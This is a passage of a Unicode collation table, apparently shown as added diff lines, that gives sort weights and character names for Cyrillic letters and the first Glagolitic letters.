+04E0  ; [.2079.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN DZE
+A689  ; [.207D.0020.0002] # CYRILLIC SMALL LETTER DZZE
+A688  ; [.207D.0020.0008] # CYRILLIC CAPITAL LETTER DZZE
+0507  ; [.207E.0020.0002] # CYRILLIC SMALL LETTER KOMI DZJE
+0506  ; [.207E.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DZJE
+A683  ; [.207F.0020.0002] # CYRILLIC SMALL LETTER DZWE
+A682  ; [.207F.0020.0008] # CYRILLIC CAPITAL LETTER DZWE
+0438  ; [.2080.0020.0002] # CYRILLIC SMALL LETTER I
+A675  ; [.2080.0020.0004] # COMBINING CYRILLIC LETTER I
+0418  ; [.2080.0020.0008] # CYRILLIC CAPITAL LETTER I
+045D  ; [.2080.0020.0002][.0000.0025.0002] # CYRILLIC SMALL LETTER I WITH GRAVE
+040D  ; [.2080.0020.0008][.0000.0025.0002] # CYRILLIC CAPITAL LETTER I WITH GRAVE
+04E5  ; [.2080.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER I WITH DIAERESIS
+04E4  ; [.2080.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER I WITH DIAERESIS
+04E3  ; [.2080.0020.0002][.0000.0032.0002] # CYRILLIC SMALL LETTER I WITH MACRON
+04E2  ; [.2080.0020.0008][.0000.0032.0002] # CYRILLIC CAPITAL LETTER I WITH MACRON
+048B  ; [.2084.0020.0002] # CYRILLIC SMALL LETTER SHORT I WITH TAIL
+048A  ; [.2084.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I WITH TAIL
+0456  ; [.2088.0020.0002] # CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I
+0406  ; [.2088.0020.0008] # CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I
+0457  ; [.2088.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER YI
+A676  ; [.2088.0020.0004][.0000.002B.0004] # COMBINING CYRILLIC LETTER YI
+0407  ; [.2088.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER YI
+A647  ; [.208C.0020.0002] # CYRILLIC SMALL LETTER IOTA
+A646  ; [.208C.0020.0008] # CYRILLIC CAPITAL LETTER IOTA
+0439  ; [.208D.0020.0002] # CYRILLIC SMALL LETTER SHORT I
+0438 0306 ; [.208D.0020.0002] # CYRILLIC SMALL LETTER SHORT I
+0419  ; [.208D.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I
+0418 0306 ; [.208D.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I
+0458  ; [.2091.0020.0002] # CYRILLIC SMALL LETTER JE
+0408  ; [.2091.0020.0008] # CYRILLIC CAPITAL LETTER JE
+A649  ; [.2095.0020.0002] # CYRILLIC SMALL LETTER DJERV
+2DF8  ; [.2095.0020.0004] # COMBINING CYRILLIC LETTER DJERV
+A648  ; [.2095.0020.0008] # CYRILLIC CAPITAL LETTER DJERV
+043A  ; [.2096.0020.0002] # CYRILLIC SMALL LETTER KA
+2DE6  ; [.2096.0020.0004] # COMBINING CYRILLIC LETTER KA
+041A  ; [.2096.0020.0008] # CYRILLIC CAPITAL LETTER KA
+045C  ; [.2096.0020.0002][.0000.0024.0002] # CYRILLIC SMALL LETTER KJE
+040C  ; [.2096.0020.0008][.0000.0024.0002] # CYRILLIC CAPITAL LETTER KJE
+049B  ; [.209A.0020.0002] # CYRILLIC SMALL LETTER KA WITH DESCENDER
+049A  ; [.209A.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH DESCENDER
+04C4  ; [.209E.0020.0002] # CYRILLIC SMALL LETTER KA WITH HOOK
+04C3  ; [.209E.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH HOOK
+04A1  ; [.20A2.0020.0002] # CYRILLIC SMALL LETTER BASHKIR KA
+04A0  ; [.20A2.0020.0008] # CYRILLIC CAPITAL LETTER BASHKIR KA
+049F  ; [.20A6.0020.0002] # CYRILLIC SMALL LETTER KA WITH STROKE
+049E  ; [.20A6.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH STROKE
+049D  ; [.20AA.0020.0002] # CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE
+049C  ; [.20AA.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE
+051F  ; [.20AE.0020.0002] # CYRILLIC SMALL LETTER ALEUT KA
+051E  ; [.20AE.0020.0008] # CYRILLIC CAPITAL LETTER ALEUT KA
+051B  ; [.20AF.0020.0002] # CYRILLIC SMALL LETTER QA
+051A  ; [.20AF.0020.0008] # CYRILLIC CAPITAL LETTER QA
+043B  ; [.20B0.0020.0002] # CYRILLIC SMALL LETTER EL
+2DE7  ; [.20B0.0020.0004] # COMBINING CYRILLIC LETTER EL
+041B  ; [.20B0.0020.0008] # CYRILLIC CAPITAL LETTER EL
+1D2B  ; [.20B4.0020.0002] # CYRILLIC LETTER SMALL CAPITAL EL
+04C6  ; [.20B5.0020.0002] # CYRILLIC SMALL LETTER EL WITH TAIL
+04C5  ; [.20B5.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH TAIL
+052F  ; [.20B9.0020.0002] # CYRILLIC SMALL LETTER EL WITH DESCENDER
+052E  ; [.20B9.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH DESCENDER
+0513  ; [.20BA.0020.0002] # CYRILLIC SMALL LETTER EL WITH HOOK
+0512  ; [.20BA.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH HOOK
+0521  ; [.20BB.0020.0002] # CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK
+0520  ; [.20BB.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK
+0459  ; [.20BC.0020.0002] # CYRILLIC SMALL LETTER LJE
+0409  ; [.20BC.0020.0008] # CYRILLIC CAPITAL LETTER LJE
+A665  ; [.20C0.0020.0002] # CYRILLIC SMALL LETTER SOFT EL
+A664  ; [.20C0.0020.0008] # CYRILLIC CAPITAL LETTER SOFT EL
+0509  ; [.20C1.0020.0002] # CYRILLIC SMALL LETTER KOMI LJE
+0508  ; [.20C1.0020.0008] # CYRILLIC CAPITAL LETTER KOMI LJE
+0515  ; [.20C2.0020.0002] # CYRILLIC SMALL LETTER LHA
+0514  ; [.20C2.0020.0008] # CYRILLIC CAPITAL LETTER LHA
+043C  ; [.20C3.0020.0002] # CYRILLIC SMALL LETTER EM
+2DE8  ; [.20C3.0020.0004] # COMBINING CYRILLIC LETTER EM
+041C  ; [.20C3.0020.0008] # CYRILLIC CAPITAL LETTER EM
+04CE  ; [.20C7.0020.0002] # CYRILLIC SMALL LETTER EM WITH TAIL
+04CD  ; [.20C7.0020.0008] # CYRILLIC CAPITAL LETTER EM WITH TAIL
+A667  ; [.20CB.0020.0002] # CYRILLIC SMALL LETTER SOFT EM
+A666  ; [.20CB.0020.0008] # CYRILLIC CAPITAL LETTER SOFT EM
+043D  ; [.20CC.0020.0002] # CYRILLIC SMALL LETTER EN
+2DE9  ; [.20CC.0020.0004] # COMBINING CYRILLIC LETTER EN
+041D  ; [.20CC.0020.0008] # CYRILLIC CAPITAL LETTER EN
+1D78  ; [.20CC.0020.0014] # MODIFIER LETTER CYRILLIC EN
+0529  ; [.20D0.0020.0002] # CYRILLIC SMALL LETTER EN WITH LEFT HOOK
+0528  ; [.20D0.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK
+04CA  ; [.20D1.0020.0002] # CYRILLIC SMALL LETTER EN WITH TAIL
+04C9  ; [.20D1.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH TAIL
+04A3  ; [.20D5.0020.0002] # CYRILLIC SMALL LETTER EN WITH DESCENDER
+04A2  ; [.20D5.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH DESCENDER
+04C8  ; [.20D9.0020.0002] # CYRILLIC SMALL LETTER EN WITH HOOK
+04C7  ; [.20D9.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH HOOK
+0523  ; [.20DD.0020.0002] # CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK
+0522  ; [.20DD.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK
+04A5  ; [.20DE.0020.0002] # CYRILLIC SMALL LIGATURE EN GHE
+04A4  ; [.20DE.0020.0008] # CYRILLIC CAPITAL LIGATURE EN GHE
+045A  ; [.20E2.0020.0002] # CYRILLIC SMALL LETTER NJE
+040A  ; [.20E2.0020.0008] # CYRILLIC CAPITAL LETTER NJE
+050B  ; [.20E6.0020.0002] # CYRILLIC SMALL LETTER KOMI NJE
+050A  ; [.20E6.0020.0008] # CYRILLIC CAPITAL LETTER KOMI NJE
+043E  ; [.20E7.0020.0002] # CYRILLIC SMALL LETTER O
+1C82  ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER NARROW O
+2DEA  ; [.20E7.0020.0004] # COMBINING CYRILLIC LETTER O
+A669  ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER MONOCULAR O
+A66B  ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER BINOCULAR O
+A66D  ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER DOUBLE MONOCULAR O
+A66E  ; [.20E7.0020.0004] # CYRILLIC LETTER MULTIOCULAR O
+A699  ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER DOUBLE O
+A69B  ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER CROSSED O
+041E  ; [.20E7.0020.0008] # CYRILLIC CAPITAL LETTER O
+A668  ; [.20E7.0020.000A] # CYRILLIC CAPITAL LETTER MONOCULAR O
+A66A  ; [.20E7.0020.000A] # CYRILLIC CAPITAL LETTER BINOCULAR O
+A66C  ; [.20E7.0020.000A] # CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O
+A698  ; [.20E7.0020.000A] # CYRILLIC CAPITAL LETTER DOUBLE O
+A69A  ; [.20E7.0020.000A] # CYRILLIC CAPITAL LETTER CROSSED O
+04E7  ; [.20E7.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER O WITH DIAERESIS
+04E6  ; [.20E7.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER O WITH DIAERESIS
+04E9  ; [.20EB.0020.0002] # CYRILLIC SMALL LETTER BARRED O
+04E8  ; [.20EB.0020.0008] # CYRILLIC CAPITAL LETTER BARRED O
+04EB  ; [.20EB.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS
+04EA  ; [.20EB.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS
+043F  ; [.20EF.0020.0002] # CYRILLIC SMALL LETTER PE
+2DEB  ; [.20EF.0020.0004] # COMBINING CYRILLIC LETTER PE
+041F  ; [.20EF.0020.0008] # CYRILLIC CAPITAL LETTER PE
+0525  ; [.20F3.0020.0002] # CYRILLIC SMALL LETTER PE WITH DESCENDER
+0524  ; [.20F3.0020.0008] # CYRILLIC CAPITAL LETTER PE WITH DESCENDER
+04A7  ; [.20F4.0020.0002] # CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK
+04A6  ; [.20F4.0020.0008] # CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK
+0481  ; [.20F8.0020.0002] # CYRILLIC SMALL LETTER KOPPA
+0480  ; [.20F8.0020.0008] # CYRILLIC CAPITAL LETTER KOPPA
+0440  ; [.20FC.0020.0002] # CYRILLIC SMALL LETTER ER
+2DEC  ; [.20FC.0020.0004] # COMBINING CYRILLIC LETTER ER
+0420  ; [.20FC.0020.0008] # CYRILLIC CAPITAL LETTER ER
+048F  ; [.2100.0020.0002] # CYRILLIC SMALL LETTER ER WITH TICK
+048E  ; [.2100.0020.0008] # CYRILLIC CAPITAL LETTER ER WITH TICK
+0517  ; [.2104.0020.0002] # CYRILLIC SMALL LETTER RHA
+0516  ; [.2104.0020.0008] # CYRILLIC CAPITAL LETTER RHA
+0441  ; [.2105.0020.0002] # CYRILLIC SMALL LETTER ES
+1C83  ; [.2105.0020.0004] # CYRILLIC SMALL LETTER WIDE ES
+2DED  ; [.2105.0020.0004] # COMBINING CYRILLIC LETTER ES
+0421  ; [.2105.0020.0008] # CYRILLIC CAPITAL LETTER ES
+2DF5  ; [.2105.0020.0004][.210E.0020.0004] # COMBINING CYRILLIC LETTER ES-TE
+050D  ; [.2109.0020.0002] # CYRILLIC SMALL LETTER KOMI SJE
+050C  ; [.2109.0020.0008] # CYRILLIC CAPITAL LETTER KOMI SJE
+04AB  ; [.210A.0020.0002] # CYRILLIC SMALL LETTER ES WITH DESCENDER
+04AA  ; [.210A.0020.0008] # CYRILLIC CAPITAL LETTER ES WITH DESCENDER
+0442  ; [.210E.0020.0002] # CYRILLIC SMALL LETTER TE
+1C84  ; [.210E.0020.0004] # CYRILLIC SMALL LETTER TALL TE
+1C85  ; [.210E.0020.0004] # CYRILLIC SMALL LETTER THREE-LEGGED TE
+2DEE  ; [.210E.0020.0004] # COMBINING CYRILLIC LETTER TE
+0422  ; [.210E.0020.0008] # CYRILLIC CAPITAL LETTER TE
+A68D  ; [.2112.0020.0002] # CYRILLIC SMALL LETTER TWE
+A68C  ; [.2112.0020.0008] # CYRILLIC CAPITAL LETTER TWE
+050F  ; [.2113.0020.0002] # CYRILLIC SMALL LETTER KOMI TJE
+050E  ; [.2113.0020.0008] # CYRILLIC CAPITAL LETTER KOMI TJE
+04AD  ; [.2114.0020.0002] # CYRILLIC SMALL LETTER TE WITH DESCENDER
+04AC  ; [.2114.0020.0008] # CYRILLIC CAPITAL LETTER TE WITH DESCENDER
+A68B  ; [.2118.0020.0002] # CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK
+A68A  ; [.2118.0020.0008] # CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK
+045B  ; [.2119.0020.0002] # CYRILLIC SMALL LETTER TSHE
+040B  ; [.2119.0020.0008] # CYRILLIC CAPITAL LETTER TSHE
+0443  ; [.211D.0020.0002] # CYRILLIC SMALL LETTER U
+A677  ; [.211D.0020.0004] # COMBINING CYRILLIC LETTER U
+0423  ; [.211D.0020.0008] # CYRILLIC CAPITAL LETTER U
+045E  ; [.211D.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT U
+040E  ; [.211D.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT U
+04F1  ; [.211D.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER U WITH DIAERESIS
+04F0  ; [.211D.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER U WITH DIAERESIS
+04F3  ; [.211D.0020.0002][.0000.002C.0002] # CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE
+04F2  ; [.211D.0020.0008][.0000.002C.0002] # CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE
+04EF  ; [.211D.0020.0002][.0000.0032.0002] # CYRILLIC SMALL LETTER U WITH MACRON
+04EE  ; [.211D.0020.0008][.0000.0032.0002] # CYRILLIC CAPITAL LETTER U WITH MACRON
+04AF  ; [.2121.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U
+04AE  ; [.2121.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U
+04B1  ; [.2125.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE
+04B0  ; [.2125.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE
+A64B  ; [.2129.0020.0002] # CYRILLIC SMALL LETTER MONOGRAPH UK
+1C88  ; [.2129.0020.0004] # CYRILLIC SMALL LETTER UNBLENDED UK
+2DF9  ; [.2129.0020.0004] # COMBINING CYRILLIC LETTER MONOGRAPH UK
+A64A  ; [.2129.0020.0008] # CYRILLIC CAPITAL LETTER MONOGRAPH UK
+0479  ; [.212A.0020.0002] # CYRILLIC SMALL LETTER UK
+0478  ; [.212A.0020.0008] # CYRILLIC CAPITAL LETTER UK
+0444  ; [.212E.0020.0002] # CYRILLIC SMALL LETTER EF
+A69E  ; [.212E.0020.0004] # COMBINING CYRILLIC LETTER EF
+0424  ; [.212E.0020.0008] # CYRILLIC CAPITAL LETTER EF
+0445  ; [.2132.0020.0002] # CYRILLIC SMALL LETTER HA
+2DEF  ; [.2132.0020.0004] # COMBINING CYRILLIC LETTER HA
+0425  ; [.2132.0020.0008] # CYRILLIC CAPITAL LETTER HA
+04FD  ; [.2136.0020.0002] # CYRILLIC SMALL LETTER HA WITH HOOK
+04FC  ; [.2136.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH HOOK
+04FF  ; [.213A.0020.0002] # CYRILLIC SMALL LETTER HA WITH STROKE
+04FE  ; [.213A.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH STROKE
+04B3  ; [.213E.0020.0002] # CYRILLIC SMALL LETTER HA WITH DESCENDER
+04B2  ; [.213E.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH DESCENDER
+04BB  ; [.2142.0020.0002] # CYRILLIC SMALL LETTER SHHA
+04BA  ; [.2142.0020.0008] # CYRILLIC CAPITAL LETTER SHHA
+0527  ; [.2146.0020.0002] # CYRILLIC SMALL LETTER SHHA WITH DESCENDER
+0526  ; [.2146.0020.0008] # CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER
+A695  ; [.2147.0020.0002] # CYRILLIC SMALL LETTER HWE
+A694  ; [.2147.0020.0008] # CYRILLIC CAPITAL LETTER HWE
+0461  ; [.2148.0020.0002] # CYRILLIC SMALL LETTER OMEGA
+A67B  ; [.2148.0020.0004] # COMBINING CYRILLIC LETTER OMEGA
+0460  ; [.2148.0020.0008] # CYRILLIC CAPITAL LETTER OMEGA
+047F  ; [.214C.0020.0002] # CYRILLIC SMALL LETTER OT
+047E  ; [.214C.0020.0008] # CYRILLIC CAPITAL LETTER OT
+A64D  ; [.2150.0020.0002] # CYRILLIC SMALL LETTER BROAD OMEGA
+A64C  ; [.2150.0020.0008] # CYRILLIC CAPITAL LETTER BROAD OMEGA
+047D  ; [.2151.0020.0002] # CYRILLIC SMALL LETTER OMEGA WITH TITLO
+047C  ; [.2151.0020.0008] # CYRILLIC CAPITAL LETTER OMEGA WITH TITLO
+047B  ; [.2155.0020.0002] # CYRILLIC SMALL LETTER ROUND OMEGA
+047A  ; [.2155.0020.0008] # CYRILLIC CAPITAL LETTER ROUND OMEGA
+0446  ; [.2159.0020.0002] # CYRILLIC SMALL LETTER TSE
+2DF0  ; [.2159.0020.0004] # COMBINING CYRILLIC LETTER TSE
+0426  ; [.2159.0020.0008] # CYRILLIC CAPITAL LETTER TSE
+A661  ; [.215D.0020.0002] # CYRILLIC SMALL LETTER REVERSED TSE
+A660  ; [.215D.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED TSE
+A68F  ; [.215E.0020.0002] # CYRILLIC SMALL LETTER TSWE
+A68E  ; [.215E.0020.0008] # CYRILLIC CAPITAL LETTER TSWE
+04B5  ; [.215F.0020.0002] # CYRILLIC SMALL LIGATURE TE TSE
+04B4  ; [.215F.0020.0008] # CYRILLIC CAPITAL LIGATURE TE TSE
+A691  ; [.2163.0020.0002] # CYRILLIC SMALL LETTER TSSE
+A690  ; [.2163.0020.0008] # CYRILLIC CAPITAL LETTER TSSE
+0447  ; [.2164.0020.0002] # CYRILLIC SMALL LETTER CHE
+2DF1  ; [.2164.0020.0004] # COMBINING CYRILLIC LETTER CHE
+0427  ; [.2164.0020.0008] # CYRILLIC CAPITAL LETTER CHE
+04F5  ; [.2164.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER CHE WITH DIAERESIS
+04F4  ; [.2164.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS
+052D  ; [.2168.0020.0002] # CYRILLIC SMALL LETTER DCHE
+052C  ; [.2168.0020.0008] # CYRILLIC CAPITAL LETTER DCHE
+A693  ; [.2169.0020.0002] # CYRILLIC SMALL LETTER TCHE
+A692  ; [.2169.0020.0008] # CYRILLIC CAPITAL LETTER TCHE
+04B7  ; [.216A.0020.0002] # CYRILLIC SMALL LETTER CHE WITH DESCENDER
+04B6  ; [.216A.0020.0008] # CYRILLIC CAPITAL LETTER CHE WITH DESCENDER
+04CC  ; [.216E.0020.0002] # CYRILLIC SMALL LETTER KHAKASSIAN CHE
+04CB  ; [.216E.0020.0008] # CYRILLIC CAPITAL LETTER KHAKASSIAN CHE
+04B9  ; [.2172.0020.0002] # CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE
+04B8  ; [.2172.0020.0008] # CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE
+A687  ; [.2176.0020.0002] # CYRILLIC SMALL LETTER CCHE
+A686  ; [.2176.0020.0008] # CYRILLIC CAPITAL LETTER CCHE
+04BD  ; [.2177.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN CHE
+04BC  ; [.2177.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN CHE
+04BF  ; [.217B.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER
+04BE  ; [.217B.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER
+045F  ; [.217F.0020.0002] # CYRILLIC SMALL LETTER DZHE
+040F  ; [.217F.0020.0008] # CYRILLIC CAPITAL LETTER DZHE
+0448  ; [.2183.0020.0002] # CYRILLIC SMALL LETTER SHA
+2DF2  ; [.2183.0020.0004] # COMBINING CYRILLIC LETTER SHA
+0428  ; [.2183.0020.0008] # CYRILLIC CAPITAL LETTER SHA
+A697  ; [.2187.0020.0002] # CYRILLIC SMALL LETTER SHWE
+A696  ; [.2187.0020.0008] # CYRILLIC CAPITAL LETTER SHWE
+0449  ; [.2188.0020.0002] # CYRILLIC SMALL LETTER SHCHA
+2DF3  ; [.2188.0020.0004] # COMBINING CYRILLIC LETTER SHCHA
+0429  ; [.2188.0020.0008] # CYRILLIC CAPITAL LETTER SHCHA
+A64F  ; [.218C.0020.0002] # CYRILLIC SMALL LETTER NEUTRAL YER
+A64E  ; [.218C.0020.0008] # CYRILLIC CAPITAL LETTER NEUTRAL YER
+2E2F  ; [.218D.0020.0002] # VERTICAL TILDE
+A67F  ; [.218E.0020.0002] # CYRILLIC PAYEROK
+044A  ; [.218F.0020.0002] # CYRILLIC SMALL LETTER HARD SIGN
+1C86  ; [.218F.0020.0004] # CYRILLIC SMALL LETTER TALL HARD SIGN
+A678  ; [.218F.0020.0004] # COMBINING CYRILLIC LETTER HARD SIGN
+042A  ; [.218F.0020.0008] # CYRILLIC CAPITAL LETTER HARD SIGN
+A69C  ; [.218F.0020.0014] # MODIFIER LETTER CYRILLIC HARD SIGN
+A651  ; [.2193.0020.0002] # CYRILLIC SMALL LETTER YERU WITH BACK YER
+A650  ; [.2193.0020.0008] # CYRILLIC CAPITAL LETTER YERU WITH BACK YER
+044B  ; [.2194.0020.0002] # CYRILLIC SMALL LETTER YERU
+A679  ; [.2194.0020.0004] # COMBINING CYRILLIC LETTER YERU
+042B  ; [.2194.0020.0008] # CYRILLIC CAPITAL LETTER YERU
+04F9  ; [.2194.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER YERU WITH DIAERESIS
+04F8  ; [.2194.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS
+044C  ; [.2198.0020.0002] # CYRILLIC SMALL LETTER SOFT SIGN
+A67A  ; [.2198.0020.0004] # COMBINING CYRILLIC LETTER SOFT SIGN
+042C  ; [.2198.0020.0008] # CYRILLIC CAPITAL LETTER SOFT SIGN
+A69D  ; [.2198.0020.0014] # MODIFIER LETTER CYRILLIC SOFT SIGN
+048D  ; [.219C.0020.0002] # CYRILLIC SMALL LETTER SEMISOFT SIGN
+048C  ; [.219C.0020.0008] # CYRILLIC CAPITAL LETTER SEMISOFT SIGN
+0463  ; [.21A0.0020.0002] # CYRILLIC SMALL LETTER YAT
+1C87  ; [.21A0.0020.0004] # CYRILLIC SMALL LETTER TALL YAT
+2DFA  ; [.21A0.0020.0004] # COMBINING CYRILLIC LETTER YAT
+0462  ; [.21A0.0020.0008] # CYRILLIC CAPITAL LETTER YAT
+A653  ; [.21A4.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED YAT
+A652  ; [.21A4.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED YAT
+044D  ; [.21A5.0020.0002] # CYRILLIC SMALL LETTER E
+042D  ; [.21A5.0020.0008] # CYRILLIC CAPITAL LETTER E
+04ED  ; [.21A5.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER E WITH DIAERESIS
+04EC  ; [.21A5.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER E WITH DIAERESIS
+044E  ; [.21A9.0020.0002] # CYRILLIC SMALL LETTER YU
+2DFB  ; [.21A9.0020.0004] # COMBINING CYRILLIC LETTER YU
+042E  ; [.21A9.0020.0008] # CYRILLIC CAPITAL LETTER YU
+A655  ; [.21AD.0020.0002] # CYRILLIC SMALL LETTER REVERSED YU
+A654  ; [.21AD.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED YU
+A657  ; [.21AE.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED A
+2DFC  ; [.21AE.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED A
+A656  ; [.21AE.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED A
+044F  ; [.21AF.0020.0002] # CYRILLIC SMALL LETTER YA
+042F  ; [.21AF.0020.0008] # CYRILLIC CAPITAL LETTER YA
+0519  ; [.21B3.0020.0002] # CYRILLIC SMALL LETTER YAE
+0518  ; [.21B3.0020.0008] # CYRILLIC CAPITAL LETTER YAE
+0465  ; [.21B4.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED E
+A69F  ; [.21B4.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED E
+0464  ; [.21B4.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED E
+0467  ; [.21B8.0020.0002] # CYRILLIC SMALL LETTER LITTLE YUS
+2DFD  ; [.21B8.0020.0004] # COMBINING CYRILLIC LETTER LITTLE YUS
+0466  ; [.21B8.0020.0008] # CYRILLIC CAPITAL LETTER LITTLE YUS
+A659  ; [.21BC.0020.0002] # CYRILLIC SMALL LETTER CLOSED LITTLE YUS
+A658  ; [.21BC.0020.0008] # CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS
+046B  ; [.21BD.0020.0002] # CYRILLIC SMALL LETTER BIG YUS
+2DFE  ; [.21BD.0020.0004] # COMBINING CYRILLIC LETTER BIG YUS
+046A  ; [.21BD.0020.0008] # CYRILLIC CAPITAL LETTER BIG YUS
+A65B  ; [.21C1.0020.0002] # CYRILLIC SMALL LETTER BLENDED YUS
+A65A  ; [.21C1.0020.0008] # CYRILLIC CAPITAL LETTER BLENDED YUS
+0469  ; [.21C2.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS
+0468  ; [.21C2.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS
+A65D  ; [.21C6.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS
+A65C  ; [.21C6.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS
+046D  ; [.21C7.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED BIG YUS
+2DFF  ; [.21C7.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED BIG YUS
+046C  ; [.21C7.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS
+046F  ; [.21CB.0020.0002] # CYRILLIC SMALL LETTER KSI
+046E  ; [.21CB.0020.0008] # CYRILLIC CAPITAL LETTER KSI
+0471  ; [.21CF.0020.0002] # CYRILLIC SMALL LETTER PSI
+0470  ; [.21CF.0020.0008] # CYRILLIC CAPITAL LETTER PSI
+0473  ; [.21D3.0020.0002] # CYRILLIC SMALL LETTER FITA
+2DF4  ; [.21D3.0020.0004] # COMBINING CYRILLIC LETTER FITA
+0472  ; [.21D3.0020.0008] # CYRILLIC CAPITAL LETTER FITA
+0475  ; [.21D7.0020.0002] # CYRILLIC SMALL LETTER IZHITSA
+0474  ; [.21D7.0020.0008] # CYRILLIC CAPITAL LETTER IZHITSA
+0477  ; [.21D7.0020.0002][.0000.003C.0002] # CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT
+0476  ; [.21D7.0020.0008][.0000.003C.0002] # CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT
+A65F  ; [.21DB.0020.0002] # CYRILLIC SMALL LETTER YN
+A65E  ; [.21DB.0020.0008] # CYRILLIC CAPITAL LETTER YN
+04A9  ; [.21DC.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN HA
+04A8  ; [.21DC.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN HA
+051D  ; [.21E0.0020.0002] # CYRILLIC SMALL LETTER WE
+051C  ; [.21E0.0020.0008] # CYRILLIC CAPITAL LETTER WE
+04CF  ; [.21E1.0020.0002] # CYRILLIC SMALL LETTER PALOCHKA
+04C0  ; [.21E1.0020.0008] # CYRILLIC LETTER PALOCHKA
+2C30  ; [.21E5.0020.0002] # GLAGOLITIC SMALL LETTER AZU
+1E000 ; [.21E5.0020.0004] # COMBINING GLAGOLITIC LETTER AZU
+2C00  ; [.21E5.0020.0008] # GLAGOLITIC CAPITAL LETTER AZU
+2C31  ; [.21E6.0020.0002] # GLAGOLITIC SMALL LETTER BUKY
+1E001 ; [.21E6.0020.0004] # COMBINING GLAGOLITIC LETTER BUKY
